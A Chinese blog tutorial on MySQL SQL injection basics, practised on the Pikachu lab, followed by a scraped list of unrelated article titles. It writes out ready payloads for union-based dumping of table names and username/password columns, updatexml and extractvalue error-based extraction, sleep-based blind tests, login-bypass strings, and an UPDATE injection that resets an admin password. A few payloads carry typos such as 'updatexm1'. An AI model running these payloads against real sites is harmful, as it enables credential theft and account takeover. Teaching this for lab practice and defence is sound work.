sql_mysql注入基础篇
文章目录
- 一.判断数据类型
- 1.数字型
- 2.字符型
- 3.搜索型
- 二.判断注入类型
- 1.显错注入
- 2.盲注
- 3.报错注入
- 补充:判断权限
- 用户级别权限(很高,也少)
- 可以查看数据的权限(常用)
- 三.开始注入
- 1.显错注入
- 2.盲注
- 3.报错注入
- 基本流程
- 注册账号处和修改账号处
- 删除处
- 登陆处
- 4.二阶注入
- 5.宽字节注入
- 6.useragent和refer注入
- 总结
一.判断数据类型
1.数字型
一般出现下图这种,选择这种,很有可能就是数字型
SQL语句猜测:select xx from xx where id=1
构造payload1:select xx from xx where id=1 or 1=1
如果返回了大量数据,则or 1=1带入了sql,说明存在数字型sql注入
构造payload2:select xx from xx where id=1 and 1=1
构造payload3:select xx from xx where id=1 and 1=2
如果and 1=1 返回和原来一样,而and 1=2 返回其他,也有可能存在数字型sql注入
构造payload4:select xx from xx where id=1
在这条语句后面添加 反斜杠,单引号,双引号,如果数据库报错,也可以证明带入了sql语句
2.字符型
注意:#和–空格是注释的意思
一般出现下图这种,填字符这种,很有可能就是字符型
SQL语句猜测:select xx from xx where name=‘1’
构造payload1:select xx from xx where name=‘1’ or 1=1#’
如果返回了大量数据,则’or 1=1#带入了sql,并且闭合成功,说明存在字符型sql注入
构造payload2:select xx from xx where name=‘1’ and 1=1#’
构造payload3:select xx from xx where name=‘1’ and 1=2#’
如果’ and 1=1# 返回和原来一样,而’ and 1=2# 返回其他,也有可能存在字符型sql注入
构造payload4:select xx from xx where name=‘1’
在这条语句后面添加 反斜杠,单引号,双引号,如果数据库报错,也可以证明带入了sql语句
同样道理
我们可以延伸到
SQL语句猜测:select xx from xx where name=“1”
payload:1" or 1=1# 和 " or “1”=“1
SQL语句猜测:select xx from xx where name=(“1”)
payload:1”) or 1=1# 和 ") or (“1”)=("1
SQL语句猜测:select xx from xx where name=‘1’
payload:1’ or 1=1# 和 ’ or ‘1’=‘1
SQL语句猜测:select xx from xx where name=(‘1’)
payload:1’) or 1=1# 和 ') or (‘1’)=('1
也是一样,闭合即可
3.搜索型
搜索型跟字符型很像,但是他逻辑不同,搜索型就是为了用最简单的方法快速搜索内容。
比如我要搜索zhanghao,我只需要输入zhang就出来了。
SQL语句猜测:select xx from xx where id like’%1%’
构造payload1:select xx from xx where id like’%1%’ or 1=1#%’
如果返回了大量数据,则1%’ or 1=1#带入了sql,说明存在搜索型sql注入
构造payload2:select xx from xx where id like’%1%’ and 1=1#%’
构造payload3:select xx from xx where id like’%1%’ and 1=2#%’
如果1%’ and 1=1#返回和原来一样,而1%’ and 1=2#返回其他,也有可能存在搜索型sql注入
构造payload4:select xx from xx where id like’%1%’
在这条语句后面添加 反斜杠,单引号,双引号,如果数据库报错,也可以证明带入了sql语句
payload:1%’ or 1=1# 和1%’ or ‘%1%’=’%1
payload:1%’ and 1=1#和 1%’ and ‘%1%’=’%1
payload:1%’ and 1=2# 和 1%’ and ‘%1%’=’%2
二.判断注入类型
1.显错注入
1.什么数据类型测试完以后
2.输入反斜杠和单引号双引号,并且使用union联合查询,如果数据库会-----报错-----并且可以使用-----union联合查询并回显-------就是显错注入----------也是最简单的注入类型
2.盲注
1.什么数据类型测试完以后
2.发现他永远是ture和fase的定义。真就返回,假就不返回或返回其他,通常结合and length(databse())>xxx 来判断,当然有waf就用其他方法,这篇文章不做演示。
3.报错注入
1.什么数据类型测试完以后(!!!注意:报错型很多时候是不能测试出数据类型的,所以,我们只能猜测,或者根据他的报错判断数据类型,然后在注入!!!)
2.使用单引号双引号和反斜杠他会报错,但是无法使用union联合查询,其他啥也查不了,可以使用报错注入。
3.这个不能使用联合,只能一个一个数据查,比较麻烦
补充:判断权限
用户级别权限(很高,也少)
and (select length(user()) from mysql.user where user=user())>=1
返回正常,就对mysql字典数据库有权限
可以查看数据的权限(常用)
and (select count(*) from information_schema.tables where table_schema=database())>1
返回正常则可以查询数据
三.开始注入
1.显错注入
传送:---->>>显错注入
2.盲注
传送门:---->>>盲注
3.报错注入
update函数
基本流程
注释符:
当数据类型不是整形时候,就需要使用注释符号注释掉后面的符号,从而闭合前面的符号
/# #通常在mysql中可以使用,其他数据库无法使用,
空格杠杠空格和#通常用在post请求中
空格–+ 通常在get请求中使用
如果无法使用注释符号
通常使用 ‘闭合
如:’ or ‘1’='1 和 ’ order by 1,2,'3 和 union select 1,2,3,‘4
等等,闭合符号可以变形,可以是" ,也可以是(",更可以是(’,所以看情况而定
先附上一个报错注入基本的流程,可以先不看直接往下看及可
kobe’ and updatexml(1,concat(0x7e,database()),0) --+
#报错只能一次显示- -行
可以使用1imit-次-次进行获取表名:
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) --+
入获取到表名后,在获取列明,思路是-样的:
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 0,1)),0) --+
JPI获取到列名称后,再来获取数据:
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+
kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) --+
kobe’ and updatexm1(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0) --+
什么时候用报错?当union无法使用并且有报错信息时候
这里我们以皮卡丘的字符型这关为列子
输入一个’
可以看到有报错
kobe’ and updatexml(1,concat(0x7e,database()),0) --+
获取数据库名
得到
注意:因为只能获取一个,所以我们就必须使用limit来遍历
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 2,1)),0) --+
获取表名得到
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 2,1)),0) --+
获取列名
到到列名password
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+
获取字段名中的内容
得到password的哈希值
注册账号处和修改账号处
注册账号处:
当发现有报错时
在用户处输入:
xiao’ or updatexml(1,concat(0x7e,database()),0) or ’
并登陆
可以看到报出了数据库名
我们通过mysql输入语句观察,可以看到,注册处就是使用了insert方法,
‘xiao’ or updatexml(1,concat(0x7e,database()),0) or ‘’
从这条红色的语句,我们可以清晰的看见,
我们是使用了两个or 从而闭合了语句使它报错,
既然可以报错,方法就和上面一样的,这里就不做演示。
修改账号处:
点击
先确定它会报错
然后使用同样方法
xiao’ or updatexml(1,concat(0x7e,database()),0) or ’
一样成功
删除处
先添加一个留言
点击删除的时候抓包看到有参数传入
并猜测他是整型
1 or updatexml(1,concat(0x7e,database()),0)
将其转为url编码,提交
可以看到数据库名以出来,方法也和上面的步骤一样
基于extractvalue()
kobe’ and extractvalue(0,concat(0x7e,version())) --+
除了函数不一样,方法一样,这里不做演示
基于floor()
kabe’ and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from infarmation_ schema.tables group by x)a) --+
这个方法这里不做演示
登陆处
通常登陆处我们结合万能密码:
因为登陆处的sql语句通常是:
select username,passeord form admin where username=‘xxx’ and password=‘xxxx’
这样我们就可以构造sql语句注释掉密码部分:
如
admin or 1=1#
admin’ or 1=1#
admin’) or 1=1#
admin" or 1=1#
admin") or 1=1#
…
修改密码时,通常是这两个逻辑
post传参
update users set password=‘xxx’ where uname=’$xxxx’
我们来闭合试一下
注入参数:’ where uname=‘admin’#
update users set password=‘123456’ where uname=‘admin’# where uname=‘xxxx’
后面的语句是不是被注释掉了
也就是我们间接修改了admin用户密码为123456
get传参
update users set password=‘xxx’ where uid=’$xxxx’
我们来闭合试一下
注入参数:’ or uname=‘admin’
update users set password=‘123456’ where uid=’ ’ or uname=‘admin’ ’
可以明显的看到什么,我们用or语句是不是间接性的修改了admin的密码,从而直接修改了别人的密码
等等等,这个自己一个一个猜测即可
4.二阶注入
传送门---->>>二阶注入
5.宽字节注入
传送门---->>>宽字节注入
6.useragent和refer注入
传送门---->>>useragent注入
总结
1.判断注入类型,通常先用or(显示更多数据)再用and(正确返回正常,错误返回不正常)。如果无法判断且用单引号和双引号和反斜杠有报错就使用报错注入即可
2.判断成功以后,无非就是显注(可以使用union联合查询)和盲注(真假,无报错)
3.附上盲注,显注,报错注入常用手段:
盲注
1.先判断什么数据类型
再进行下面的操作:
uname=8") or sleep(5)#
&passwd=9
&submit=Submit
uname=8") or length(database())>1#
&passwd=9
&submit=Submit
显注入常用手段:
1.先判断什么数据类型
再进行下面的操作:
1.判断列数
union select 1,2,3,… 直到页面返回正常为止
2.判断当前数据库
union select database(),2,3,4,5 1的位置将会返回数据库的名字
数据库名 database()
数据库版本 version()
数据库用户 user()
操作系统 @@version_compile_os
3.查询表名
union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test’
//group_concat()使多行数据在一列显示
4.查询列名
union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘admin’
5.查数据 (0x20是空格的意思)
方法一:
union select group_concat(username,0x20,password),2,3,4,5 from test.admin //将所有数据在一行显示
方法二
union select concat(username,0x20,password),2,3,4,5,6 from one.admin //因为网页限制只能显示一行数据,所以显示第一行数据
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root’) //把第一行的用户排除掉,第二行自动上来
union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘admin’,‘root’) //看第三行数据
报错常用手段:
先附上一个报错注入基本的流程,可以先不看直接往下看及可
kobe’ and updatexml(1,concat(0x7e,database()),0) --+
#报错只能一次显示- -行
可以使用1imit-次-次进行获取表名:
kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) --+
入获取到表名后,在获取列明,思路是-样的:
kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 0,1)),0) --+
JPI获取到列名称后,再来获取数据:
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+
kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) --+
kobe’ and updatexm1(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0) --+
sql_mysql注入基础篇相关推荐
- Android 使用dagger2进行依赖注入(基础篇)
0. 前言 Dagger2是首个使用生成代码实现完整依赖注入的框架,极大减少了使用者的编码负担, 本文主要介绍如何使用dagger2进行依赖注入.如果你不还不了解依赖注入,请看这一篇. 1. 简单的依 ...
- Spring.NET学习笔记10——方法的注入(基础篇) Level 200
多数用户都会将容器中的大部分对象布署为singleton模式.当一个singleton对象需要和另一个singleton对象协作,或者一个非singleton对象需要和另一个非singleson对象协 ...
- Spring.NET学习笔记8——集合类型的注入(基础篇) Level 200
Spring.NET还支持集合类型的注入.而且使用起来也比较方便. 一.ILIst类型 使用<list>元素作为ILIst的标签,value为集合中元素的值.也可以注入对象,甚至关联其它对 ...
- SpringBoot基础篇Bean之条件注入之注解使用
bean的条件注入,除了前面一篇博文中介绍的通过@Conditional注解配合Condition接口的实现之外,还提供了更多简化的注解使用方式,省略了自己实现Condtion接口,本篇博文主要介绍下 ...
- SQL注入葵花宝典(基础篇)
基础篇重在一些基本的概念和步骤 高级篇重在于一些技巧 许多刚入门的小菜们可能会经常听到SQL注入这个词汇, 但更多人的可能对SQL并不怎么了解,只是感觉是一种 很神秘的******手段,所以我就想系统 ...
- XSS注入基础入门篇
XSS注入基础入门篇 1.XSS基础概念 2. XSS的分类以及示例 2.1 反射型XSS 2.1.1 示例1:dvwa low 级别的反射型XSS 2.1.2 攻击流程 2.2 DOM型XSS 2. ...
- TOP16榜首之SQL注入<宝藏文--- 工具实战演习 > -- -- 小黑渗透工程栈( 基础篇3 )
之前两篇文章对sql注入做了简单详细的说明,这里会先做一下实战演习,然后会简单结合工具burp suite 和 sqlmap演示,以及对工具的使用说明. 此靶场为DVWA,下面链接是关于DVWA安装教 ...
- Spring Boot 入门之基础篇(一)
2019独角兽企业重金招聘Python工程师标准>>> 一.前言 Spring Boot 是由 Pivotal 团队提供的全新框架,其设计目的是用来简化新 Spring 应用的初始搭 ...
- sqli-lab_基础篇_1-23做题反思
################################################### sqli-lab 1-23做题反思 get 类 1-4题:联合查询: 特点:输入特殊符号有报错提 ...
最新文章
- 文件系统类型是ntfs无法确定卷版本和状态_硬盘写到一半时断电,文件系统里会发什么?...
- 为什么数据科学不值得?
- R包ComplexHeatmap绘制个性化热图
- vue的插槽slot
- 讲讲大厂面试必考的假设检验
- 使用Opencv进行轮廓检测,字符提取,简单的直方图字符识别!
- 陈旸:清华博士的模型信仰
- document.onreadystatechange()来判断页面加载完
- python电视剧口碑分析_小案例(七):口碑分析(python)
- ZLYD团队第一周项目总结
- 如何减小电压跟随器输出电阻_补课贴 | 关于运算放大器和比较器的异同,那些你不得不知道的小知识!...
- 涨姿势了!delete后加 limit是个好习惯么?
- 链表的基本操作(单链表)
- JSMInd实现动态思维导图的保存和展示
- win10设置透明任务栏
- JPEG与jpg的区别
- 新品开源又融资,长亭科技“脱胎而成”!
- 牧牛区块链,区块链经济学应该关注的问题
- python兔子编程_少儿编程分享:手把手教你用PYTHON编写兔獾大作战(一)
- 本地项目及依赖上传私服nexus
热门文章
- 第五章 软件下载与安装(二、Ubuntu安装Mininet)
- Goldengate的拆分与合并
- 运维无小事,小事不运维
- Python_面向对象_递归
- phpstorm知识点
- android 介绍0
- 在路上(on the road)
- shell 安装java_Shell脚本实现在Linux系统中自动安装JDK
- mysql 服务器 kill进程_mysql查询结束进程kill
- python数据库模糊查询_原创:Python编写通讯录,支持模糊查询,利用数据库存储...